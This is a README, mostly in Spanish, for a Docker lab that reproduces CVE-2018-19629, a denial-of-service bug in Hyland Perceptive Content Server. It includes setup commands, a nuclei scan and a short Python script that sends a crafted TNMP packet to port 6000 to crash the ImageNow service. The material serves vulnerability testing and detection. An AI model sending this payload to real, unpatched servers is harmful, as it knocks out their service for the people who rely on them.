
Hyland Perceptive Content Server - Denegación de Servicio
Entorno de prueba Docker para CVE-2018-19629 - Denegación de Servicio en Hyland Perceptive Content Server.
| Campo | Valor |
|---|---|
| ID de CVE | CVE-2018-19629 |
| Gravedad | Alta (DoS) |
| Versiones Afectadas | Hyland Perceptive Content Server < 7.1.5 |
| Versión Parcheada | 7.1.5 |
Hyland Perceptive Content Server anterior a 7.1.5 contiene una vulnerabilidad de denegación de servicio causada por la caída del servicio ImageNow Server a través de una conexión TCP. Los atacantes pueden interrumpir el servicio enviando paquetes TCP especialmente diseñados que contienen la secuencia de encabezado TNMP.
# Start the vulnerable environment
docker-compose up -d
# Verify it's listening
# (You might need netcat or similar)
nc -zv localhost 6000
# Test with nuclei template
nuclei -t ../network/cves/2018/CVE-2018-19629.yaml -u localhost:6000
Puedes activar manualmente la caída usando Python:
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("localhost", 6000))
# The crafted packet
payload = b'\x54\x4e\x4d\x50\x04\x00\x00\x00\x54\x4e\x4d\x45\x00\x00\x04\x00'
s.send(payload)
s.close()
Revisa los registros para ver la caída:
docker logs -f imagenow-vuln
Deberías ver: [!] CRITICAL: Recevied malicious 'TNMP' packet... seguido de la reinicio del contenedor.
docker-compose down